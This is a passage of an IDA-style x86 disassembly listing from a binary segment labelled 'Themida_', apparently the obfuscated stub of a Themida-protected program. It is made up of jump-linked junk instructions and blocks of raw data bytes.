		dd 0F900558Eh, 60005575h, 0E8FC9Ch, 5F000000h, 4603EF81h
		dd 0C78B061Eh, 431BC781h, 473B061Eh, 0EB02752Ch, 2C478913h
		dd 0A7B9h, 105EB00h, 49408F44h,	0F775C90Bh, 2424748Bh
		dd 0F003DE8Bh, 1B9h, 0F0C03300h, 304FB10Fh
		db 75h,	0F7h
; ---------------------------------------------------------------------------


loc_5507EE:				; CODE XREF: Themida_:00551933j
					; Themida_:005535E2j ...
		lodsb
		jmp	loc_55E999
; ---------------------------------------------------------------------------


loc_5507F4:				; CODE XREF: Themida_:0055D3ACj
		push	eax
		mov	eax, 10410711h
		not	eax
		push	edx
		mov	edx, 10631807h
		and	edx, 29603C12h
		shr	edx, 2
		dec	edx
		sub	edx, 0B1EACF16h
		add	eax, edx
		pop	edx
		xor	eax, 5F572DC9h
		sub	edx, 4DB11DE2h
		add	edx, eax
		add	edx, 4DB11DE2h
		pop	eax
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 4C248E04h
		add	edx, 1A453FE8h
		add	edx, 52A67268h
		jmp	loc_552231
; ---------------------------------------------------------------------------
		db 9, 0F0h, 5Eh
		dd 28911D05h, 6CFCE994h, 0C4810000h, 4,	14334E9h, 43ACB900h
		dd 81497B1Dh, 0EA5208E1h, 4E98167h, 1630842h, 0FFE959CFh
		db 50h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_550877:				; CODE XREF: Themida_:0055DD9Dj
		mov	[esp], ecx
		mov	ecx, esp
		push	3FF7h
		jmp	loc_5620E4
; ---------------------------------------------------------------------------
		dw 0EB81h
		dd 9086A2Ah, 2805E9h, 448BF00h,	0CF815B01h, 7B204349h
		dd 0D7F7D7F7h, 5EF5F781h, 13E94EAFh, 5B0000C1h,	0EDADE9h
		dd 2434FF00h, 8124348Bh, 4C4h, 7799E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5508C2:				; CODE XREF: Themida_:0055CAAEj
		pop	ecx
		jmp	loc_559EB6
; ---------------------------------------------------------------------------
		dd 0F5E9F001h
		db 5Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5508CF:				; CODE XREF: Themida_:00560E9Fj
		not	dword ptr [esp]
		jmp	loc_556D24
; ---------------------------------------------------------------------------
		db 1
		dd 241C8BD8h, 1FD368h, 242C8900h, 8D71E9h, 2434FF00h, 8B2434FFh
		dd 54552404h, 21E9515Dh, 81000037h, 9258AFF6h, 0E1DDE908h
		dd 4BA0000h, 1000000h, 34875AD6h, 24248B24h, 3108E8C1h
		dd 456668C8h, 15E90000h, 89000084h, 4BE2434h, 1000000h
		dd 0F540E9F2h, 88580000h, 148B5BD8h, 4C48124h, 20000000h
		dd 24048BC5h, 81E28952h, 4C2h, 1CBD5500h, 0F7340176h, 8FF581DDh
		dd 813DDA0Ah, 24836FF5h, 0A5AAE9F6h, 4050000h, 2D000000h
		dd 4, 10BC3E9h,	240C8900h, 0D9E9E189h, 8B0000EBh, 0C4832414h
		dd 24040104h, 763D68h, 24048900h, 463B68h, 24348900h, 40606568h
		dd 2434FF55h, 5EB8E9h, 81E38900h, 4C3h,	0D886E900h, 0C3810000h
		dd 4, 81F4E9h, 24048F00h, 0E924248Bh, 1204Fh, 24148966h
		dd 4DDFBA66h, 66D32966h, 8150665Ah, 4ECh, 24348900h, 5D02BE66h
		dd 0A64AE952h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5509EA:				; CODE XREF: Themida_:0055C87Bj
		push	2FBEh
		mov	[esp], ecx
		push	4964h
		mov	[esp], ebx
		push	edx
		mov	dh, 62h
		mov	bl, dh
		pop	edx
		mov	ch, 6Dh
		push	ebx
		mov	bh, 38h
		xor	bh, 7Fh
		sub	bh, 5Bh
		jmp	loc_55F97D
; ---------------------------------------------------------------------------
		dd 0E904C483h, 3E4h, 0E9240433h, 121EEh
; ---------------------------------------------------------------------------


loc_550A20:				; CODE XREF: Themida_:00553D20j
		push	2FC9h
		mov	[esp], ebp
		push	esp
		pop	ebp
		add	ebp, 4
		push	ecx
		jmp	loc_5521D9
; ---------------------------------------------------------------------------
		dw 5F54h
		dd 4C781h, 0C7810000h, 4, 5C243C87h, 2BF5751h, 89000000h
		dd 243C8BF9h, 72C0E9h
		db 0
; ---------------------------------------------------------------------------


loc_550A59:				; CODE XREF: Themida_:0055A8D5j
		push	ebx
		mov	ebx, 21C10BD2h
		sub	esi, ebx
		pop	ebx
		jmp	loc_557F5E
; ---------------------------------------------------------------------------
		db 58h
		dd 88535159h, 5BFD88D7h, 0E9EC8850h, 66B7h
; ---------------------------------------------------------------------------


loc_550A78:				; CODE XREF: Themida_:0055F81Cj
		push	0CE4609Bh
		pop	eax
		jmp	loc_557C23
; ---------------------------------------------------------------------------


loc_550A83:				; CODE XREF: Themida_:00559753j
		pop	ecx
		add	esp, 4
		push	ebp
		mov	ebp, esp
		push	ecx
		push	2C9Bh
		mov	[esp], ebp
		mov	ebp, 1EBF5E9Fh
		add	ebp, 5F97F86h
		sub	ebp, 0FFFFFFFFh
		add	ebp, 57A34457h
		add	ebp, 1
		push	ecx
		mov	ecx, 5D082D99h
		not	ecx
		jmp	loc_554669
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 4
		dd 0F529E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_550AC6:				; CODE XREF: Themida_:0055563Bj
		mov	cl, 0E7h
		sub	al, cl
		pop	cx
		mov	bx, [esp]
		add	esp, 2
		sub	bl, 0B3h
		sub	bl, 0EEh
		sub	esp, 4
		mov	[esp], eax
		push	ecx
		push	ebx
		jmp	loc_55DCC2
; ---------------------------------------------------------------------------
		db 0BAh, 7Fh, 18h
		dd 0BFE91691h, 0FF000094h, 83582434h, 0E0C104C4h, 9EA6E905h
		dd 0EEC10000h, 0F1C68107h, 6857A771h, 1DB1h, 0B8240489h
		dd 1C91D36h, 557BE9h, 241C8900h, 4BBh, 0F1CE900h, 0EC810001h
		dd 4, 68240489h, 12D145B0h, 8124048Bh, 4C4h, 58C28900h
		dd 3F50E281h, 0DAF7248Ch, 173DE9h, 0EE015A00h, 2961C681h
		dd 0EE817AB2h, 73D56604h, 4641E9h, 0E9E08900h, 115DCh
		dd 0E92434FFh, 8A1h
; ---------------------------------------------------------------------------


loc_550B74:				; CODE XREF: Themida_:00562B33j
		mov	esi, 2A343161h
		jmp	loc_55C0EB
; ---------------------------------------------------------------------------
		dw 3C8Bh
		dd 4C48324h, 1C07C781h,	0FE890808h, 6173BA5Fh, 30E9EFACh
		dd 8900008Ch, 0B850240Ch, 3A6F4FD4h, 90B02DB9h,	58C101C5h
		dd 0FF1C4F09h, 55592434h, 40B168h, 24048900h, 24048B54h
		dd 4970E9h
		db 0
; ---------------------------------------------------------------------------


loc_550BC1:				; CODE XREF: Themida_:00556390j
		xor	[ebx], ebp
		pop	ebx
		xor	ebp, [edx+38h]
		xor	[edx+38h], ebp
		jmp	loc_55564D
; ---------------------------------------------------------------------------


loc_550BCF:				; CODE XREF: Themida_:00565048j
		xchg	edx, [esp]
		pop	esp
		jmp	loc_55DDAD
; ---------------------------------------------------------------------------


loc_550BD8:				; CODE XREF: Themida_:005630A0j
		add	ecx, 4AC74B3Dh
		sub	esp, 4
		mov	[esp], ecx
		pop	edi
		pop	ecx
		push	eax
		mov	eax, 4DBE3219h
		add	eax, 323D7058h
		jmp	loc_558844
; ---------------------------------------------------------------------------
a1YhP		db '1Yh%P',0
		dd 242C8900h, 0CF648D68h, 0E5815D3Fh, 59C33F26h, 0E7A8ED81h
		dd 0EB31BD77h, 5F5CE9h,	41CFB900h, 0CA012CD9h, 0FBC4E959h
		dd 0EB80FFFFh, 32EB80AEh, 0D54E9h
		db 0
; ---------------------------------------------------------------------------


loc_550C35:				; CODE XREF: Themida_:005595D1j
		push	esp
		pop	edx
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		add	esp, 4
		jmp	loc_55DFD8
; ---------------------------------------------------------------------------
		db 81h
		dd 0C0292EDh, 8BE98976h, 0C481242Ch, 4,	4E9C141h, 223ABF57h
		dd 0F9017C8Ch, 53243C8Bh, 4C2CE9h, 66EA0800h, 0D8F2E959h
		dd 4810000h, 424h, 2434FF00h, 3B22E95Dh, 4BF0001h, 0E9000000h
		dd 86E5h, 61EA8142h, 9B9099Fh, 0EB2D5AD0h, 81FD3F96h, 67361BEDh
		dd 2295E94Dh, 0C330000h, 240C3124h, 0E9240C33h,	0DA03h
		dd 0BF243C89h, 4, 3567E981h, 0F90167D8h, 3567C181h, 3C8B67D8h
		dd 0E0895024h, 68E7E9h,	52BE5600h, 29691E72h, 815B5EF1h
		dd 0F47EC2C6h, 0E9CE0136h, 1296Fh
; ---------------------------------------------------------------------------


loc_550D04:				; CODE XREF: Themida_:00555971j
		push	1E5Dh
		mov	[esp], esp
		jmp	loc_55C24C
; ---------------------------------------------------------------------------
		db 66h,	25h, 74h
		dd 0E0C16655h, 0E0C16605h, 922D6605h, 0C201663Bh, 28BDE958h
		dd 0EFB60000h, 802EB753h, 0DDE9BEEFh, 830000D4h, 0C48104C4h
		dd 4, 5AF968h, 242C8900h, 42474FFh, 83242C8Bh, 48F04C4h
		dd 0C608E924h, 0C4830000h, 24143304h, 113D8E9h,	81CF2900h
		dd 542B28C7h, 348B591Ch, 4C48324h, 70E6E9h
		db 0
; ---------------------------------------------------------------------------


loc_550D79:				; CODE XREF: Themida_:0055BD4Bj
		pop	eax
		add	eax, 39DA4108h
		pop	edi
		add	eax, 0BA81807h
		jmp	loc_55EC4C
; ---------------------------------------------------------------------------
		dw 8953h
		dd 0F509E9E3h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_550D92:				; CODE XREF: Themida_:0055C3F6j
		push	5BD2h
		mov	[esp], ecx
		push	ebp
		jmp	loc_55EE0F
; ---------------------------------------------------------------------------
		dd 0C281EA01h, 14A43643h, 2414875Dh, 6824248Bh,	0D09h
		dd 54241489h, 0E957565Ah, 1286Eh
; ---------------------------------------------------------------------------


loc_550DC0:				; CODE XREF: Themida_:0056250Cj
		push	edx
		push	43F8h
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	edx, [esp]
		push	esi
		mov	esi, esp
		push	edi
		mov	edi, 4
		add	esi, edi
		pop	edi
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		push	edi
		jmp	loc_5623D4
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 582434FFh, 4C481h, 0E9500000h, 125F6h, 2C6815Dh, 87000000h
		dd 0D25C2434h, 0E99C243Ch, 0FFFFF9DEh, 5652D801h, 3E8C6857h
		dd 5FE96C17h
		db 0FDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_550E1F:				; CODE XREF: Themida_:0055CA01j
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		add	esp, 4
		xor	eax, 705376B7h
		mov	ecx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_5527F6
; ---------------------------------------------------------------------------


loc_550E44:				; CODE XREF: Themida_:00557FF1j
		push	37BCh
		jmp	loc_560D4A
; ---------------------------------------------------------------------------
		dw 0B8B8h
		dd 2D72DB24h, 72DB24B4h, 0E958C601h, 0F44Eh
; ---------------------------------------------------------------------------


loc_550E60:				; CODE XREF: Themida_:00553E76j
		and	eax, 1834233Fh
		xor	eax, 43CE7426h
		push	ecx
		mov	ecx, 6CC7055Fh
		push	ebp
		jmp	loc_564AAF
; ---------------------------------------------------------------------------
		dw 0B72Dh
		dd 294C5648h, 1F96E9D0h
		db 1, 0
; ---------------------------------------------------------------------------


loc_550E82:				; CODE XREF: Themida_:00564DBEj
		pop	esp
		jmp	loc_559D2F
; ---------------------------------------------------------------------------


loc_550E88:				; CODE XREF: Themida_:00562BE2j
		mov	edx, 3EB42974h
		xor	edx, ebp
		pop	ebp
		add	eax, edx
		pop	edx
		push	73B6h
		mov	[esp], eax
		jmp	loc_560E02
; ---------------------------------------------------------------------------
		dd 67E9D028h
		db 28h,	1, 0
; ---------------------------------------------------------------------------


loc_550EA7:				; CODE XREF: Themida_:005600AEj
		pop	ebp
		add	ebp, 4
		push	eax
		mov	eax, 0AF30583h
		push	esi
		mov	esi, 0F50CFA81h
		add	eax, esi
		pop	esi
		add	ebp, eax
		mov	eax, [esp]
		add	esp, 4
		xchg	ebp, [esp]
		jmp	loc_557E55
; ---------------------------------------------------------------------------


loc_550ECD:				; CODE XREF: Themida_:0055F945j
		pop	esp
		shr	ecx, 7
		sub	esp, 4
		jmp	loc_561705
; ---------------------------------------------------------------------------
		dd 0DDCBF57h, 0DFF76EA6h, 0AE81E9h, 24148B00h, 8704C483h
		dd 895C242Ch, 24B7241Ch, 0F4B353h, 241C8BD8h, 815B5453h
		dd 4C3h, 4C38100h, 87000000h, 77E9241Ch
		db 69h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_550F17:				; CODE XREF: Themida_:0056222Bj
		xor	ebx, [esp]
		xor	[esp], ebx
		jmp	loc_556E09
; ---------------------------------------------------------------------------
		dw 0B850h
		dd 16615F57h, 0CF757D25h, 0F0100507h, 0C5017901h, 29CE9h
		db 0
; ---------------------------------------------------------------------------


loc_550F39:				; CODE XREF: Themida_:0055A1F6j
		shr	edi, 8
		sub	edi, 19D24EDEh
		shr	edi, 4
		xor	edi, 0E7142DEh
		sub	ebp, 5C2F0353h
		add	ebp, 5C5C0D3Ch
		jmp	loc_55F54D
; ---------------------------------------------------------------------------
		dd 0B850E389h, 4, 48BC301h, 4C48124h, 55000000h, 8904EC83h
		dd 1CB9240Ch, 0E9489B71h, 0E7DEh, 382AE681h, 0F681352Bh
		dd 605C5CD5h, 36D6CE81h, 0EE8137BBh, 49B07ECFh,	69E9F189h
		db 7Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_550F9F:				; CODE XREF: Themida_:005584EBj
		not	ebp
		jmp	loc_551E55
; ---------------------------------------------------------------------------
		dw 0C681h
		dd 4, 0C2E0E9h,	4EB8000h, 32D4E9h, 0E9DEF700h, 972Bh, 0E9243489h
		dd 8B08h, 56E9DE89h
		db 3Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_550FCF:				; CODE XREF: Themida_:0055348Bj
		mov	esp, [esp]
		mov	[esp], edx
		mov	edx, 264A3A91h
		and	edx, 60382A06h
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 1B3E28F0h
		jmp	loc_555831
; ---------------------------------------------------------------------------


loc_550FF0:				; CODE XREF: Themida_:0055377Aj
		xchg	ebp, [esp]
		jmp	loc_55974C
; ---------------------------------------------------------------------------


loc_550FF8:				; CODE XREF: Themida_:00557686j
		add	edx, 5171B62h
		jmp	loc_55C2A8
; ---------------------------------------------------------------------------


loc_551003:				; CODE XREF: Themida_:00556B9Fj
		mov	eax, esp
		add	eax, 4
		push	edi
		mov	edi, 5E0240h
		sub	edi, 700D6A69h
		shr	edi, 4
		not	edi
		and	edi, 8C47E78h
		xor	edi, 0C07604h
		add	eax, edi
		pop	edi
		jmp	loc_559096
; ---------------------------------------------------------------------------
		db 68h
		dd 3658DB35h, 1661E9h, 6E5C100h, 81FFC583h, 0DA29C7C5h
		dd 8BEA89CCh, 0C481242Ch, 4, 148BD589h,	4C48324h, 8103E5C1h
		dd 0B025BDC5h, 1AD2E953h, 0C4810001h, 4, 4C481h, 70E90000h
		dd 6600012Fh, 2C8BE801h, 0B984E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_551082:				; CODE XREF: Themida_:00559219j
		shr	ebp, 2
		add	ebp, 0B8B13B15h
		mov	ebx, ebp
		jmp	loc_559B51
; ---------------------------------------------------------------------------


loc_551092:				; CODE XREF: Themida_:00552DBAj
		push	dword ptr [esp]
		pop	eax
		sub	esp, 4
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		push	ebx
		mov	ebx, 4
		add	edi, ebx
		pop	ebx
		push	edi
		push	dword ptr [esp+4]
		jmp	loc_55C624
; ---------------------------------------------------------------------------
		dw 0BA52h
		dd 2833409Bh, 52BFBD55h, 0F7550147h, 0D15D2414h, 0E9D5F7EDh
		dd 30E9h
; ---------------------------------------------------------------------------


loc_5510D4:				; CODE XREF: Themida_:0055EC1Aj
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		or	edx, eax
		shl	edx, 1
		jmp	loc_557A33
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 7EE92404h, 0BF0000B8h, 0F887C48h, 3C8BFA09h,	4C48124h
		dd 81000000h, 7901E6EAh, 40F28118h, 3140E0D9h, 24148BD0h
		dd 4C481h, 5DE90000h, 0E9000048h, 0FFFFF6C6h, 8904EC83h
		dd 4BA2414h, 1000000h, 2A82E9D0h, 0F7010001h, 12216E9h
		db 0
; ---------------------------------------------------------------------------


loc_551141:				; CODE XREF: Themida_:00552BF9j
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		mov	ecx, 0FFFFFFFFh
		sub	[edi+24h], ecx
		jmp	loc_55C848
; ---------------------------------------------------------------------------
		dw 895Ch
		dd 62BA2414h, 8150D671h, 4ECh, 0D2BCE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55116E:				; CODE XREF: Themida_:00556093j
		add	ch, 83h
		xor	ah, ch
		pop	ecx
		jmp	loc_5558F4
; ---------------------------------------------------------------------------
		db 0C1h, 0EDh, 5
aBOnEs		db 'onE ',0
		dw 5000h
		dd 6D509BB8h, 0DA07054Dh, 30E9B369h
		db 2Ch,	1, 0
; ---------------------------------------------------------------------------


loc_551197:				; CODE XREF: Themida_:00559086j
		pop	ebx
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_55B35F
; ---------------------------------------------------------------------------
		db 56h,	0BEh, 0F3h
		dd 81019B4Fh, 3F1307C6h, 2B69E935h
		db 1, 0
; ---------------------------------------------------------------------------


loc_5511B6:				; CODE XREF: Themida_:0055C3E7j
		mov	ebx, [esp]
		push	ecx
		jmp	loc_55243B
; ---------------------------------------------------------------------------
		db 0BDh
		dd 4FF4342Ch, 0FFFD59E9h, 2434FFFFh, 4C48359h, 0B686E9h
		dd 4D455800h, 4C42ED81h, 4C684666h, 0E900002Bh,	569Eh
; ---------------------------------------------------------------------------


loc_5511E8:				; CODE XREF: Themida_:0055B30Ej
		pop	dword ptr [edi+20h]
		push	dword ptr [esp]
		mov	ebp, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_556932
; ---------------------------------------------------------------------------


loc_5511FF:				; CODE XREF: Themida_:0055B2A8j
		xchg	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_55E287
; ---------------------------------------------------------------------------
		dw 0D301h
		dd 15BD555Ah, 812E410Fh, 0B2E13E5h, 0F7D5F759h,	81D5F7DDh
		dd 0CA26A5F5h, 5DEB29B1h, 10634E9h, 0BF575B00h,	9026E24h
		dd 3E7C14Fh, 8102EFC1h,	97EBAAEFh, 5FFA0133h, 148BD001h
		dd 4C48124h, 83000000h,	3C8904ECh, 6FE95224h, 890000D3h
		dd 86E9241Ch, 5700002Bh, 42474FFh, 5F2434FFh, 81E68956h
		dd 4C6h, 4C68100h, 87000000h, 0E95C2434h, 7FEFh, 5E04C483h
		dd 31C3314Bh, 0E9C331D8h, 0
		dd 8153D8F7h, 4ECh, 24048900h, 0C381585Bh, 5F082C59h, 12DBED81h
		dd 0DD017D42h, 12DBC581h, 4CE97D42h, 3100004Dh,	0E7BD55C3h
		dd 3168E91Fh, 0D5B95DEBh, 2948AB1Eh, 241C8BD9h,	24FF68h
		dd 24348900h, 13E9E689h
		db 0B9h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_5512DF:				; CODE XREF: Themida_:0055A346j
		add	ebx, edi
		mov	edi, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		jmp	loc_56222A
; ---------------------------------------------------------------------------
		dd offset dword_4E514C+1Ch
		dd 5093E900h, 0EE010000h, 4172E9h, 0A7A3BA00h, 60E960A2h
		dd 810000B2h, 4C4h, 14F75500h, 0EC815D24h, 4, 53243C89h
		dd 2D7AFBBBh, 3EBC164h,	7E56F381h, 0C38152E6h, 451A35DBh
		dd 7EEB814Bh, 8907C06Fh, 5BA0E9DFh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55134A:				; CODE XREF: Themida_:00563A95j
		push	ebp
		mov	ebp, 43000AA2h
		xor	ebp, 6B95EE92h
		xor	edx, ebp
		pop	ebp
		mov	ebx, 0C5BE1108h
		push	ecx
		push	7D7B7DFDh
		pop	ecx
		sub	ecx, 7F1B3FD4h
		jmp	loc_55E56B
; ---------------------------------------------------------------------------
		dd 8704E983h, 0E95C240Ch, 12C96h, 0D31E19B8h, 58C3294Ch
		dd 86D4C381h, 0DA0176BBh, 4EA815Bh, 52000000h, 42474FFh
		dd 24048F5Ah, 27B3E95Ch, 3C8B0001h, 0D1E95324h
		db 70h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5513AB:				; CODE XREF: Themida_:005590E0j
		mov	edi, esp
		push	esi
		mov	esi, 4
		add	edi, esi
		pop	esi
		jmp	loc_564F46
; ---------------------------------------------------------------------------


loc_5513BB:				; CODE XREF: Themida_:0055DD21j
		push	0C7Dh
		mov	[esp], edi
		push	ebp
		mov	ebp, 33593486h
		xor	ebp, 12CE55F7h
		inc	ebp
		push	ecx
		mov	ecx, 3A257141h
		and	ecx, 6D5F2C74h
		and	ecx, 63281BD2h
		xor	ecx, 7771D9DAh
		add	ebp, ecx
		jmp	loc_553F57
; ---------------------------------------------------------------------------
		db 0B5h
		dd 4EDC0CEh, 0FE71C580h, 6E5C0CDh, 9673E9h, 0EDE95000h
		dd 81000039h, 0AE4533EFh, 242C8B03h, 0A1F4E9h, 0C4835800h
		dd 15006804h, 9EE90000h, 540000C1h, 8124348Bh, 4ECh, 241C8900h
		dd 0F5E9E389h, 8100010Eh, 0E96FCEDh, 5DEF89F1h,	2C0D6856h
		dd 15E3172h, 0EB815EF7h, 1D336300h, 2117E9h, 68505A00h
		dd 31F1h, 0FE9CE9h, 0E6895600h,	4C681h,	0EE810000h, 4
		dd 0E9243487h, 13F2Fh, 8103E7C1h, 0CAF7BEEFh, 5FFD89CAh
		dd 1F75C581h, 0F5E907ECh, 8800003Ah, 24048BC6h,	4C481h
		dd 0BFE90000h, 830000A4h, 48904ECh, 2434FF24h, 24BBE95Bh
		dd 0EC810001h, 4, 0E9241C89h, 8C82h, 0C781E789h, 4, 5309BA52h
		dd 0EA810EC8h, 0FFFFFFFFh, 5306EA81h, 0D7010EC8h, 243C875Ah
		dd 2695E9h, 53E58900h, 4BBh, 2691E900h,	815A0001h, 11AF3C2h
		dd 81C20106h, 11AF3EAh,	68E95806h, 8B0000BFh, 0C483241Ch
		dd 3906E904h
		db 1, 0
; ---------------------------------------------------------------------------


loc_55150E:				; CODE XREF: Themida_:00564F18j
		pop	edx
		add	ebx, esi
		add	ebx, 302A350Bh
		pop	esi
		sub	ebx, 4
		jmp	loc_55CFDE
; ---------------------------------------------------------------------------
		dd 129AF381h, 0CAE976B9h
		db 3Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55152B:				; CODE XREF: Themida_:00560163j
		add	edi, 4
		push	2200h
		mov	[esp], ecx
		mov	ecx, 4
		jmp	loc_558E38
; ---------------------------------------------------------------------------
aYh5DKsus	db '!YH5 d',7,'kU',0
		dd 4EBD5500h, 29394B2Fh, 5D08246Ch, 5715E9h
		db 0
; ---------------------------------------------------------------------------


loc_551561:				; CODE XREF: Themida_:00564CD1j
		add	ebp, ebx
		jmp	loc_563E18
; ---------------------------------------------------------------------------


loc_551568:				; CODE XREF: Themida_:005598F4j
		mov	[esp], esi
		mov	esi, 4
		add	[esp+4], esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_563585
; ---------------------------------------------------------------------------


loc_55157F:				; CODE XREF: Themida_:00562D61j
		pop	ebx
		push	ebp
		jmp	loc_55F3F2
; ---------------------------------------------------------------------------
		dw 4B8h
		dd 1000000h, 348758C6h,	0C1E95C24h
		db 7Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_551597:				; CODE XREF: Themida_:0055317Aj
		and	ebp, ecx
		mov	ecx, [esp]
		add	esp, 4
		add	ebp, 9FF3DDE2h
		mov	ecx, ebp
		pop	ebp
		add	ebp, 9702AE7h
		add	ebp, ecx
		jmp	loc_55E888
; ---------------------------------------------------------------------------
		dd 8704EF83h, 248B243Ch, 240C8924h, 0B252EAB5h,	593CE99Ah
		dd 0C6810000h, 73CB2B3Ah, 2330CE81h, 0C6815840h, 17CE3D2Bh
		dd 11A3B951h, 0CE210D7Fh, 7C7AE959h, 0FF580000h, 54E92434h
		dd 810000C0h, 4C6h, 24348700h, 2404875Ch, 0F24248Bh, 9C51C8AFh
		dd 0FFF1DDE9h, 4B9FFh, 0CF290000h, 0F5EAE959h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55161E:				; CODE XREF: Themida_:00561970j
		pop	eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_555418
; ---------------------------------------------------------------------------
		dw 815Dh
		dd 4C5h, 4EC8100h, 89000000h, 76BB241Ch, 4308A716h, 4AAAC381h
		dd 0E38168DAh, 74F72263h, 0EBC1E3D1h, 0CE29E905h, 14890000h
		dd 2EB6824h, 24890000h,	24048124h, 4, 12E63E9h
		db 0
; ---------------------------------------------------------------------------


loc_55166D:				; CODE XREF: Themida_:00559DBBj
		push	ebp
		mov	ebp, ebx
		jmp	loc_563FD7
; ---------------------------------------------------------------------------
		db 0C0h, 0E7h, 8
		dd 8107E7C0h, 4ECh, 24148900h, 409AE9h,	24048700h, 0B0E9555Ch
		dd 31000014h, 24148BD5h, 4C481h, 0E9810000h, 637E21A6h
		dd 0C181E901h, 637E21A6h, 0E9242C8Bh, 0AEC6h, 4BB53h, 1E90000h
		db 2Eh,	1, 0
; ---------------------------------------------------------------------------


loc_5516BF:				; CODE XREF: Themida_:00555D05j
		shr	eax, 3
		sub	eax, 91CAE72h
		push	edi
		mov	edi, 5CAE65F0h
		shl	edi, 6
		shl	edi, 8
		xor	edi, 81B70C18h
		add	ebp, edi
		pop	edi
		add	ebp, eax
		sub	ebp, 18CB0C18h
		pop	eax
		add	esi, ebp
		mov	ebp, [esp]
		add	esp, 4
		pop	ecx
		add	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_557B07
; ---------------------------------------------------------------------------


loc_551708:				; CODE XREF: Themida_:00558DB8j
		pop	esi
		jmp	loc_55C851
; ---------------------------------------------------------------------------


loc_55170E:				; CODE XREF: Themida_:0055490Cj
		xchg	ecx, edi
		jmp	loc_55B464
; ---------------------------------------------------------------------------
		db 0BDh, 55h, 8
		dd 0CD8113DFh, 45AC5CF1h, 6A1C581h, 0CDE9D0A1h,	81000083h
		dd 4C6h, 4FE95000h, 0B9FFFFFEh,	4, 2F6EBF57h, 0F781122Ch
		dd 5B7A3543h, 5EA8C281h, 0FA012D2Ah, 5EA8EA81h,	84E92D2Ah
		dd 66000096h, 81240C8Bh, 4ECh, 243C8900h, 1AC968h, 48F5400h
		dd 4B85024h, 81000000h,	0B1042444h, 8128D362h, 6A042444h
		dd 557BA92Bh, 0C60E37BDh, 246C2914h, 5CE95D08h,	0BA000061h
		dd 22982400h, 4344ED81h, 0D52951C9h, 0C008E9h, 2CE95900h
		dd 66000018h, 2825B353h, 2FE9E9D8h, 74FF0000h, 0E95B0424h
		dd 0AF7Eh, 8304E7C1h, 3C8904ECh, 56E78924h, 0CC5704BEh
		dd 81D6F728h, 941FCEF6h, 31EE816Eh, 0E9B9A7B7h,	0FFFFF952h
; ---------------------------------------------------------------------------


loc_5517E8:				; CODE XREF: Themida_:00556C40j
		neg	eax
		add	eax, 63824ACAh
		jmp	loc_556D74
; ---------------------------------------------------------------------------
		dd 1C6F215Bh, 13211E9h,	80586600h, 0E30052C3h, 0E914B652h
		dd 0F10Ch, 4C481h, 0C4830000h, 8EBEE904h, 0EF810000h, 33CE2E69h
		dd 8324348Bh, 3C3304C4h, 243C3124h, 8B243C33h, 0C9E92424h
		dd 20000053h, 0E99C2404h, 12F77h, 420FBD66h, 12ED8166h
		dd 0C529661Ch, 12C58166h, 8166581Ch, 661DFCF5h,	0DD55ED81h
		dd 0FFF816E9h, 59CE29FFh, 2658EE81h, 0F6814BD8h, 0B4A9D00Bh
		dd 4B98EB81h, 0F3015FDFh, 5598E9h
		db 0
; ---------------------------------------------------------------------------


loc_55187D:				; CODE XREF: Themida_:00553728j
		neg	edx
		add	edx, 42C020F2h
		xor	edx, 5F9C6B3Bh
		and	ebp, edx
		jmp	loc_561F17
; ---------------------------------------------------------------------------
		dw 48Fh
		dd 24248B24h, 0FFEF51E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55189D:				; CODE XREF: Themida_:00554556j
		add	ecx, 653C68B3h
		pop	ebx
		sub	ebp, 75120E74h
		jmp	loc_555A09
; ---------------------------------------------------------------------------
		db 4Ah
		dd 33BCE281h, 0C2812B91h, 12A81194h, 0C15AD689h, 0EE8108EEh
		dd 468D7B9Ah, 73FBE9h, 243C8900h, 0E2BE5656h, 0E9051E05h
		dd 113FEh
; ---------------------------------------------------------------------------


loc_5518DC:				; CODE XREF: Themida_:0055A916j
		push	dword ptr [esp+4]
		pop	ebp
		jmp	loc_55AE67
; ---------------------------------------------------------------------------


loc_5518E6:				; CODE XREF: Themida_:00564756j
		add	esp, 4
		push	ebx
		mov	ebx, esp
		add	ebx, 4
